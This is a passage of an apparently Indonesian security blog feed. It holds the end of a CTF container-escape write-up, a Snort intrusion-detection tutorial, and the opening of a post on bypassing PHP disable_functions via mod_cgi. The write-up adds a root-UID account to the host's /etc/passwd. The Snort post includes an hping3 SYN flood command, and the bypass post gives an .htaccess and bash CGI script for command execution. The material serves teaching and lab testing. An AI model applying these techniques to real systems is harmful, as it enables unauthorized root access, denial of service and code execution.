<p>Terlihat mount berhasil dilakukan dan kita dapat melihat dan modifikasi filesystem pada main host dimana jika kita ingin melakukan escape dan takeover pada main host tinggal kita tambahkan user baru pada file /mnt/filesystem/etc/passwd, karena ini mount point maka akan berpengaruh pada filesystem di main host</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-1024x552.png" alt="" class="wp-image-488" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow.png 1091w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita langsung menambahkan user baru pada passwd file dengan username heker dengan UID 0 atau root beserta password yang digenerate menggunakan openssl dengan string <em><strong>heker123</strong></em>, untuk login ke host utama kita perlu tau port ssh yang digunakan dimana pada hasil nmap scan tadi terdapat 2 SSH port yaitu 22 dan 2222 yang bisa kita asumsikan main host menggunakan port 22 untuk SSH login</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="825" height="522" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932.png" alt="" class="wp-image-489" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932.png 825w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932-300x190.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932-768x486.png 768w" sizes="auto, (max-width: 825px) 100vw, 825px" /></figure>



<p>Viola, kita berhasil melakukan container escape dan mendapatkan akses ke host utama.</p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>challenge ini dibuat dengan tidak memanfaatkan exploit dari CVE/public dimana fokus untuk mendapatkan initial access fokusnya dari misconfiguration jadi untuk yang mengerjakan challenge ini diharapkan untuk lebih memahami attack vector pada saat melakukan pentesting yang dimana misconfiguration itu sangat berbahaya jika dapat dimanfaatkan lebih jauh, dan mungkin itu saja sekian dan selamat tahunn baru semoga bermanfaat <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em>&#8220;Jika itu penting bagi Anda, Anda akan menemukan jalan. Jika tidak, Anda akan menemukan alasan.&#8221;</em> &#8211; <strong>Ryan Blair</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/">Bhitech Pentesting + Container Escape</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Implementasi Snort Pada Real Publik Server</title>
		<link>https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Thu, 26 Dec 2024 23:45:14 +0000</pubDate>
				<category><![CDATA[blue team]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[intrusion detection system]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=447</guid>

					<description><![CDATA[<p>hai semua apa kabarnya 😀 selamat natal dan tahun baru ya bagi yang merayakan :3 pada blog kali ini aku akan membahas snort. Snort adalah sistem deteksi intrusi jaringan Open Source yang diciptakan oleh pendiri Sourcefire dan mantan CTO Martin Roesch. Cisco kini mengembangkan dan mengelola Snort. Sumber: https://en.wikipedia.org/wiki/Snort_(software) Apa itu Snort? Snort disebut sebagai packet [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/">Implementasi Snort Pada Real Publik Server</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>hai semua apa kabarnya <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> selamat natal dan tahun baru ya bagi yang merayakan :3</p>



<p>pada blog kali ini aku akan membahas snort. Snort adalah sistem deteksi intrusi jaringan Open Source yang diciptakan oleh pendiri Sourcefire dan mantan CTO Martin Roesch. Cisco kini mengembangkan dan mengelola Snort. Sumber: <em><a href="https://en.wikipedia.org/wiki/Snort_(software)">https://en.wikipedia.org/wiki/Snort_(software)</a></em></p>



<p class="has-large-font-size"><strong>Apa itu Snort?</strong></p>



<p>Snort disebut sebagai packet sniffer yang memantau lalu lintas jaringan, memeriksa setiap paket secara saksama untuk mendeteksi muatan berbahaya atau anomali yang mencurigakan. Sudah lama menjadi yang terdepan di antara alat pencegah dan deteksi intrusi perusahaan, pengguna dapat mengompilasi Snort di sebagian besar sistem operasi (OS) Linux atau Unix. Versi Snort juga tersedia untuk Windows. tapi pada blog ini aku akan membahas snort pada linux saja. </p>



<p class="has-large-font-size"><strong>Bagaiamana cara kerja snort?</strong> </p>



<p>Snort didasarkan pada library packet capture (libpcap). Libpcap adalah alat yang banyak digunakan dalam tcp/IP address traffic sniffer, content search and analyzer untuk pencatatan paket, analisis lalu lintas waktu nyata, analisis protokol, dan pencocokan konten.</p>



<p>Pengguna dapat mengonfigurasi Snort sebagai sniffer, pencatat paket &#8212; seperti TCPdump atau Wireshark&#8211; atau metode pencegahan intrusi jaringan.</p>



<p>ok baik itu saja teori nya, langsung saja praktek. silahkan sediakan komputer, server virtual (bisa public atau lokal) dan internet yang cepat.</p>



<p class="has-large-font-size"><strong>Install SNORT dan konfigurasi</strong></p>



<p>pertama-tama install snort.</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>apt install snort</code> -y</strong></p>



<p>maka akan terinstall snort versi 2.9.x.x. kemudian setelah itu buka file bernama <strong>/etc/snort/snort.debian.conf</strong> kemudian isi variabel DEBIAN_SNORT_OPTIONS dengan value -A full. Maka jadinya seperti ini:</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-8cf370e7 wp-block-group-is-layout-flex">
<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_STARTUP=&#8221;boot&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_HOME_NET=&#8221;eth0&#8243;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">#DEBIAN_SNORT_OPTIONS=&#8221;&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_OPTIONS=&#8221;-A full&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_INTERFACE=&#8221;eth0 eth1 docker0&#8243;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_SEND_STATS=&#8221;true&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_STATS_RCPT=&#8221;root&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_STATS_THRESHOLD=&#8221;1&#8243;</p>
</div>



<p>untuk menjalankan snort bisa dua mode, yaitu mode console dan mode background running.</p>



<p>untuk background running bisa menggunakan perintah berikut:</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>snort -c /etc/snort/snort.conf -l /var/log/snort/ -K ascii -D</code></strong></p>



<p>untuk running sebagai console</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>snort -A console -c /etc/snort/snort.conf -i eth0 -v</code></strong></p>



<p>Keterangan perintah</p>



<figure class="wp-block-table is-style-stripes"><table class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background has-fixed-layout"><thead><tr><th>Flag</th><th>Keterangan</th></tr></thead><tbody><tr><td></td><td></td></tr><tr><td><strong>Snort</strong></td><td>Perintah untuk menjalankan service snort</td></tr><tr><td><strong>-c /etc/snort/snort.conf</strong></td><td>Gunakan rules pada file konfigurasi /etc/snort/snort.conf</td></tr><tr><td><strong>-l /var/log/snort</strong></td><td>Simpan log pada /var/log/snort</td></tr><tr><td><strong>-K ascii</strong></td><td>Simpan log dalam bentuk ascii</td></tr><tr><td><strong>-D</strong></td><td>Jalan snort di latar belakang</td></tr><tr><td><strong>-A console</strong></td><td>Menentukan mode output alert Snort, dengan <strong>console</strong> sebagai pilihan untuk menampilkan alert langsung di layar terminal.</td></tr><tr><td><strong>-i eth0</strong></td><td>Memilih antarmuka jaringan (<strong>eth0</strong>) untuk dipantau oleh Snort. Pastikan antarmuka ini aktif dan memiliki lalu lintas yang relevan.</td></tr><tr><td><strong>-v</strong></td><td>Menampilkan paket-paket yang diterima secara langsung di terminal. Informasi yang ditampilkan meliputi header paket, alamat IP sumber dan tujuan, serta protokol.</td></tr></tbody></table></figure>



<p>pada blog ini aku jalan snort mode background.</p>



<p class="has-large-font-size"><strong>Dasar Menulis Rules</strong></p>



<p>Snort mendeteksi berdasarkan rule atau aturan yang di buat. Didalam snort sudah banyak rule yang bisa digunakan (file rule ada pada /etc/snort/rule) tetapi kali ini aku membuat rule atau aturan sendiri. Pertama-tama format rule, format rul seperti ini:</p>



<pre class="wp-block-preformatted has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>action protocol address port direction address port (rule option)</code></strong></pre>



<p>Format <strong>rule Snort</strong> terdiri dari beberapa bagian, yaitu <strong>action</strong>, <strong>protocol</strong>, <strong>address</strong>, <strong>port</strong>, <strong>direction</strong>, <strong>address</strong>, <strong>port</strong>, dan <strong>rule options</strong>. Berikut penjelasan rinci untuk masing-masing bagian:</p>



<h3 class="wp-block-heading">1. <strong>Action</strong></h3>



<p>Menentukan tindakan yang dilakukan Snort ketika mendeteksi kecocokan dengan aturan. Contoh tindakan:</p>



<ul class="wp-block-list">
<li><code>alert</code>: Menghasilkan alert atau notifikasi.</li>



<li><code>log</code>: Merekam paket ke dalam file log.</li>



<li><code>pass</code>: Mengabaikan paket.</li>



<li><code>drop</code>: Menjatuhkan paket (hanya pada mode inline).</li>



<li><code>reject</code>: Menolak koneksi dan memberi tahu pengirim.</li>



<li><code>sdrop</code>: Menjatuhkan paket tanpa mencatatnya</li>
</ul>



<h3 class="wp-block-heading">2. <strong>Protocol</strong></h3>



<p>Menentukan protokol jaringan yang diperiksa. Contoh protokol:</p>



<ul class="wp-block-list">
<li><code>tcp</code>: Untuk lalu lintas TCP.</li>



<li><code>udp</code>: Untuk lalu lintas UDP.</li>



<li><code>icmp</code>: Untuk pesan ICMP.</li>



<li><code>ip</code>: Untuk semua lalu lintas IP.</li>
</ul>



<h3 class="wp-block-heading">3. <strong>Address (Sumber dan Tujuan)</strong></h3>



<p>Menentukan alamat sumber dan tujuan paket. Format:</p>



<ul class="wp-block-list">
<li>Alamat IP spesifik: <code>192.168.1.1</code></li>



<li>Subnet: <code>192.168.1.0/24</code></li>



<li>Semua alamat: <code>any</code></li>



<li>Negasi: <code>!192.168.1.0/24</code> (alamat yang tidak termasuk subnet ini).</li>
</ul>



<h3 class="wp-block-heading">4. <strong>Port (Sumber dan Tujuan)</strong></h3>



<p>Menentukan port sumber atau tujuan. Format:</p>



<ul class="wp-block-list">
<li>Port spesifik: <code>80</code></li>



<li>Rentang port: <code>8000:9000</code></li>



<li>Semua port: <code>any</code></li>



<li>Negasi: <code>!80</code></li>
</ul>



<h3 class="wp-block-heading">5. <strong>Direction</strong></h3>



<p>Menentukan arah lalu lintas yang diperiksa:</p>



<ul class="wp-block-list">
<li><code>-></code>: Dari alamat sumber ke tujuan.</li>



<li><code>&lt;-</code>: Dari alamat tujuan ke sumber.</li>



<li><code>&lt;></code>: Dua arah (bidirectional).</li>
</ul>



<h3 class="wp-block-heading">6. <strong>Rule Options</strong></h3>



<p>Dibungkus dalam tanda kurung <code>()</code> dan berisi kriteria tambahan serta tindakan saat aturan cocok. Beberapa elemen dalam rule options:</p>



<ul class="wp-block-list">
<li><strong>msg</strong>: Pesan yang ditampilkan saat aturan cocok.<br>Contoh: <code>msg:"Possible SQL Injection";</code></li>



<li><strong>sid</strong>: ID unik aturan.<br>Contoh: <code>sid:1000001;</code></li>



<li><strong>rev</strong>: Revisi aturan.<br>Contoh: <code>rev:1;</code></li>



<li><strong>content</strong>: String konten yang dicari dalam paket.<br>Contoh: <code>content:"SELECT";</code></li>



<li><strong>threshold</strong>: Mengontrol frekuensi notifikasi.<br>Contoh: <code>threshold:type limit, track by_dst, count 1, seconds 60;</code></li>
</ul>



<p>Contoh aturan snort untuk mendeteksi permintaan GET dan POST:</p>



<figure class="wp-block-table is-style-stripes"><table class="has-fixed-layout"><thead><tr><th>REQ</th><th>Rule</th></tr></thead><tbody><tr><td>GET</td><td>alert tcp any any -&gt; any 80 (msg:&#8221;GET Request Detected&#8221;; content:&#8221;GET&#8221;; http_method; sid:1000012;)</td></tr><tr><td>POST</td><td>alert tcp any any -&gt; any 80 (msg:&#8221;POST Requet Detected&#8221;; content:&#8221;POST&#8221;; http_method; sid:1000013;)</td></tr></tbody></table></figure>



<p>Penjelasan aturan GET</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-8cf370e7 wp-block-group-is-layout-flex">
<p><strong>Action</strong>:<br><code>alert</code> → Menghasilkan notifikasi saat aturan cocok.</p>



<p><strong>Protocol</strong>:<br><code>tcp</code> → Aturan ini berlaku untuk lalu lintas protokol TCP.</p>



<p><strong>Address (Sumber dan Tujuan)</strong>:<br><code>any any</code> → Aturan berlaku untuk semua alamat IP dan port sebagai sumber.<br><code>-&gt;</code> → Lalu lintas diarahkan ke alamat tujuan.</p>



<p><strong>Address Tujuan</strong>:<br><code>any 80</code> → Aturan berlaku untuk semua alamat tujuan pada port 80 (umumnya digunakan untuk HTTP).</p>



<p><strong>Rule Options</strong>:</p>



<ul class="wp-block-list">
<li><code>msg:"GET Request Detected";</code><br>Menampilkan pesan <strong>&#8220;GET Request Detected&#8221;</strong> saat aturan cocok.</li>



<li><code>content:"GET";</code><br>Mendeteksi string <strong>&#8220;GET&#8221;</strong> dalam payload.</li>



<li><code>http_method;</code><br>Memastikan string <strong>&#8220;GET&#8221;</strong> adalah metode HTTP (bukan string sembarangan dalam data).</li>



<li><code>sid:1000012;</code><br>Memberikan <strong>Snort ID (sid)</strong> unik untuk aturan ini.</li>
</ul>
</div>



<p>Penjelasan aturan POST</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-8cf370e7 wp-block-group-is-layout-flex">
<p><strong>Action</strong>:<br><code>alert</code> → Menghasilkan notifikasi saat aturan cocok.</p>



<p><strong>Protocol</strong>:<br><code>tcp</code> → Aturan ini berlaku untuk lalu lintas protokol TCP.</p>



<p><strong>Address (Sumber dan Tujuan)</strong>:<br><code>any any</code> → Aturan berlaku untuk semua alamat IP dan port sebagai sumber.<br><code>-&gt;</code> → Lalu lintas diarahkan ke alamat tujuan.</p>



<p><strong>Address Tujuan</strong>:<br><code>any 80</code> → Aturan berlaku untuk semua alamat tujuan pada port 80 (umumnya digunakan untuk HTTP).</p>



<p><strong>Rule Options</strong>:</p>



<ul class="wp-block-list">
<li><code>msg:"POST Request Detected";</code><br>Menampilkan pesan <strong>&#8220;POST Request Detected&#8221;</strong> saat aturan cocok.</li>



<li><code>content:"POST";</code><br>Mendeteksi string <strong>&#8220;POST&#8221;</strong> dalam payload.</li>



<li><code>http_method;</code><br>Memastikan string <strong>&#8220;POST&#8221;</strong> adalah metode HTTP.</li>



<li><code>sid:1000013;</code><br>Memberikan <strong>Snort ID (sid)</strong> unik untuk aturan ini.</li>
</ul>
</div>



<p class="has-large-font-size"><strong>Deteksi Serangan DDOS</strong></p>



<p>buka file /etc/snort/rules/local.rules untuk membuat rule sendiri atau kustom:</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><code>alert tcp any any -> $HOME_NET 80 (flags: S; msg:"Serangan DDOS"; detection_filter: track by_dst, count 10000, seconds 60; sid:1000002;)</code></p>



<p>Penjelasan rule:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="724" height="580" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image.png" alt="" class="wp-image-450" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image.png 724w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-300x240.png 300w" sizes="auto, (max-width: 724px) 100vw, 724px" /></figure>



<p>setelah rule di tulis, jalan service snort dengan perintah <code><strong>systemctl start snort</strong></code> kemudian jalankan snort di latar belakang <code><strong>snort -c /etc/snort/snort.conf -l /var/log/snort/ -K ascii -D</strong></code>. Setelah itu log kita bisa watch file alert nya di <strong>/var/log/snort/alert</strong>. Jika ingin melihat secara real-time gunakan perintah beritkut <code><strong>watch -n 1 tail /var/log/snort/alert</strong></code>.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="579" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-1024x579.png" alt="" class="wp-image-451" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-1024x579.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-768x434.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1.png 1107w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-large-font-size"><strong>Uji Coba Serangan Deteksi DDOS</strong></p>



<p>gunakan hping:</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><code><strong>hping3 -S -p 80 -d 120 --flood &lt;IP target></strong></code></p>



<p>Penjelasan perintah:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="724" height="241" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2.png" alt="" class="wp-image-452" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2.png 724w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2-720x241.png 720w" sizes="auto, (max-width: 724px) 100vw, 724px" /></figure>



<p>setelah perintah hping di jalankan, maka pada monitor file alert, akan seperti ini:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="256" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-1024x256.png" alt="" class="wp-image-453" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-1024x256.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-300x75.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-768x192.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3.png 1102w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dari file alert ini, bisa di integrasikan dengan bot telegram untuk notifikasi serangan ke admin. seperti ini contohnya:<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="777" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-1024x777.png" alt="" class="wp-image-454" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-1024x777.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-300x228.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-768x583.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4.png 1244w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sekian terima kasih sudah membaca sampai akhir, semoga ilmu nya bermanfaat untuk keperluan mu <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/">Implementasi Snort Pada Real Publik Server</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypass disable function using mod_cgi</title>
		<link>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 08:32:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=428</guid>

					<description><![CDATA[<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti system, shell_exec, exec, eval dan lainnya Pada banyak [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti <em>system</em>, <em>shell_exec</em>, <em>exec</em>, <em>eval</em> dan lainnya</p>



<p>Pada banyak server, command syscall yang digunakan untuk melakukan eksekusi bash dan shell script di non-aktifkan untuk keperluan keamanan disini bertujuan agar attacker tidak dapat melakukan compromised lebih jauh pada target seperti melakukan <em>privilege escalation</em>, <em>pivoting</em>, <em>persistence </em>maupun <em>post exploitation</em>.</p>



<p>Jadi disini aku akan membahas salah satu teknik yang digunakan untuk melakukan bypass disable function yang memanfaatkan module cgi pada webserver apache dan yang perlu digaris bawahi untuk melakukan bypass menggunakan teknik ini harus ada requirement atau kondisi agar berhasil yaitu mod_cgi perlu diaktifkan dan kedua direktif AllowOverride pada konfigurasi apache harus aktif yang bertujuan agar kita bisa melakukan overwrite konfigurasi menggunakan .htaccess file.</p>



<p>Pertama setup lab pada vps atau di local untuk pengujian dan testing, selanjutnya jelas kita perlu install webserver apache dan lakukan setting disable function, karena case kali ini kita menggunakan php 8.3 jadi untuk php.ini kita perlu setting pada directory <em><strong>/etc/php/8.3/apache2</strong>/<strong>php.ini</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="477" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png" alt="" class="wp-image-429" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png 970w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-768x378.png 768w" sizes="auto, (max-width: 970px) 100vw, 970px" /></figure>



<p>kemudian kita perlu install cgi module pada apache lalu aktifkan menggunakan command a2enmod</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png" alt="" class="wp-image-430" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-768x155.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>selanjutnya jangan lupa kita set direktif AllowOverride ke All hal ini bertujuan agar file .htaccess bisa ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="545" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png" alt="" class="wp-image-432" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png 910w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-300x180.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-768x460.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p>Setelah itu restart apache lalu kita perlu melihat dan verifikasi jika module cgi / mod_cgi dan disable function berhasil di konfigurasi, caranya sederhana cukup buat file php dan tambahkan syntax berikut:</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-901ba5ad6a255b2f17f510fc19cd1ada"><code>&lt;?php
echo "disable function: " . ini_get("disable_functions");
echo "&lt;br>&lt;br>";
echo "apache module: &lt;br>";
foreach(apache_get_modules() as $modules){
    echo $modules . "&lt;br>";
}

?></code></pre>



<p>Dan jika kita buka via browser</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="736" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png" alt="" class="wp-image-433" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-300x216.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-768x552.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menunjukkan kita berhasil melakukan konfigurasi yang dimana kita tidak akan bisa melakukan eksekusi fungsi syscall karena semua fungsi syscall berbahaya kita lakukan disable dan kita akan manfaatkan mod_cgi ini untuk melakukan bypass disable function. </p>



<p>Sekilas tentang mod_cgi, jadi mod_cgi itu merupakan module cgi pada webserver apache yang memungkinkan webserver untuk melakukan handle dan eksekusi suatu CGI script yang dimana CGI sendiri merupakan protocol yang menyediakan cara untuk melakukan eksekusi script melalui request http contoh sederhananya kita bisa melakukan eksekusi pada file perl(.pl), python(.py) maupun bash(.sh) langsung dari web request atau browser.</p>



<p>Langkah awal kita perlu membuat directory baru dan menambahkan htaccess agar suatu extension dikenali dengan CGI script, simple-nya kita akan membuat bash script agar bisa langsung melakukan eksekusi command. Disini kita hanya perlu membuat htaccess dengan 2 direktif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ac845446031e70b280c87e6a7f870c91"><code>Options +ExecCGI
AddHandler cgi-script .bhitech</code></pre>



<p>Direktif pertama yaitu <strong><em>Options +ExecCGI</em></strong> yang memberitahu webserver untuk mengizinkan eksekusi CGI script lalu direcktif kedua webserver akan melakukan eksekusi jika ditemukan extension .bhitech dan untuk extension opsional kita bisa menambahkan apapun misalkan .cgi, .test, .hijack, .bypass dan lain lain ya</p>



<p>Langkah kedua kita perlu membuat bash script dengan extension .bhitech sederhana saja kita perlu shebang, content type dan command apa yang akan dijalankan</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25e724b5c3520c72467ee7b2c7fbcc0b"><code>#!/bin/bash
echo -ne "Content-type: text/html\n\n"
id</code></pre>



<p>Disini kita akan menjalankan command id untuk melihat id dan user kita sekarang jadi pada directory akan menjadi 2 file yaitu htaccess dan cgi script seperti ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="265" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png" alt="" class="wp-image-436" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-300x95.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-768x244.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Lalu jika kita open via browser pada file script.bhitech</p>



